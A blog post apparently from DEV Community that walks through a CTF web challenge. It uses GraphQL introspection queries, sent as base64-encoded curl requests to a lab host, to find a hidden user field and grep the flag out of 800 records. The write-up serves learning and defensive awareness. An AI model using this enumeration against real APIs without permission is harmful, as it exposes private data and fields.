Movatterモバイル変換


[0]ホーム

URL:


Skip to content
DEV Community
Log in Create account

DEV Community

hardword
hardword

Posted on

     

Fun with GraphQL Introspection

This post is a writeup of'funny-blogger' challenge fromCyberedu Warm-up CTF #1

Once you access the challenge web page, you can find a jQuery script to fetch blog posts.

vararr=document.URL.match(/article=([0-9]+)/)vararticle=arr[1];if(article>=0){console.log(article);varrequest=$.ajax({method:"POST",dataType:"json",url:"/query",contentType:"application/x-www-form-urlencoded",data:"query=eyJxdWVyeSI6IntcbiAgICAgICAgICAgICAgICBhbGxQb3N0c3tcbiAgICAgICAgICAgICAgICAgICAgZWRnZXN7XG4gICAgICAgICAgICAgICAgICAgIG5vZGV7XG4gICAgICAgICAgICAgICAgICAgICAgICB0aXRsZVxuICAgICAgICAgICAgICAgICAgICBib2R5XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgIn0=",success:function(response){document.getElementById("title").innerHTML=response.data.allPosts.edges[article].node.title;document.getElementById("content").innerHTML=response.data.allPosts.edges[article].node.body;}})

When you decode the data part of POST request, and remove all unnecessary noises (whitespaces, newlines..), you'll get this query.

{"query":"{allPosts{edges{node{title\nbody}}}}"}

Further analysis of the HTTP traffic between the browser and the server shows that this request fetches all the blog post viaquery end point and then show only the post that the article parameter is pointing, like/article=1. #classicGraphQL

And here is thecurl request to get all posts (ornodes).

$curl-s'http://x.x.x.x:31325/query'--data-raw'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle3RpdGxlXG5ib2R5fX19fSJ9' | jq'.data.allPosts.edges[0:2]'[{"node":{"title":"Day #0 of happines!","body":"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."}},{"node":{"title":"Day #1 of happines!","body":"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."}}]

There are 800 posts (article=0 througharticle=799) with the same format fortitles and the same contents forbodys and there is obviously no sign of flag from a normal request.

I jumped to check theIntrospection of GraphQL query [1][2], because why not, with a hope of there being something innode object other thantitle andbody which "hopefully" will give me the flag. And here are the steps that I took toward the flag.

Step 1. Checking alltypes from__schema gives a name to checkPostObject

{"query":"{__schema{types{name}}}"}$curl-s'http://x.x.x.x:31325/query'--data-raw'query=eyJxdWVyeSI6IntfX3NjaGVtYXt0eXBlc3tuYW1lfX19In0='{"data":{"__schema":{"types":[{"name":"Query"},{"name":"Node"},{"name":"ID"},{"name":"PostObjectConnection"},{"name":"PageInfo"},{"name":"Boolean"},{"name":"String"},{"name":"PostObjectEdge"},{"name":"PostObject"},{"name":"Int"},{"name":"UserObject"},{"name":"UserObjectConnection"},{"name":"UserObjectEdge"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}

Step 2. Checking allfieldss fromPostObject type gives a list offiled names.

{"query":"{__type(name:\"PostObject\"){name\nfields{name}}}"}$curl-s'http://x.x.x.x:31325/query'--data-raw'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlBvc3RPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='{"data":{"__type":{"name":"PostObject","fields":[{"name":"id"},{"name":"title"},{"name":"body"},{"name":"authorId"},{"name":"author"}]}}}

Step 3.id andauthorID do not dive anything special astitle andbody did. But I found thatauthor is another type,UserObject, which looks interesting, again because why not.

Step 4. Checking allfieldss fromUserObject type gives an interesting field calledrandomStr1ngtoInduc3P4in

{"query":"{__type(name:\"UserObject\"){name\nfields{name}}}"}$curl-s'http://x.x.x.x:31325/query'--data-raw'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlVzZXJPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='{"data":{"__type":{"name":"UserObject","fields":[{"name":"id"},{"name":"name"},{"name":"email"},{"name":"randomStr1ngtoInduc3P4in"},{"name":"posts"}]}}}

Step 5.randomStr1ngtoInduc3P4in gives strings of flag format but not quite a flag we want. And it looks like we need to find a right one out of 800.

{"query":"{allPosts{edges{node{author{randomStr1ngtoInduc3P4in}}}}}"}$curl-s'http://x.x.x.x:31325/query'--data-raw'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq'.data.allPosts.edges[0:2]'[{"node":{"author":{"randomStr1ngtoInduc3P4in":"ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"}}},{"node":{"author":{"randomStr1ngtoInduc3P4in":"ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"}}}]

Step 6. Found the flag withgrep

$curl-s'http://x.x.x.x:31325/query'--data-raw'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq'.data.allPosts.edges' |grep-E-o'ECSC{.*}' |grep-v'harder'ECSC{b8e9be2eb35748a0aa...}

[1]https://graphql.org/learn/introspection/
[2]https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/

Top comments(0)

Subscribe
pic
Create template

Templates let you quickly answer FAQs or store snippets for re-use.

Dismiss

Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment'spermalink.

For further actions, you may consider blocking this person and/orreporting abuse

bash
  • Joined

Trending onDEV CommunityHot

DEV Community

We're a place where coders share, stay up-to-date and grow their careers.

Log in Create account

[8]ページ先頭

©2009-2025 Movatter.jp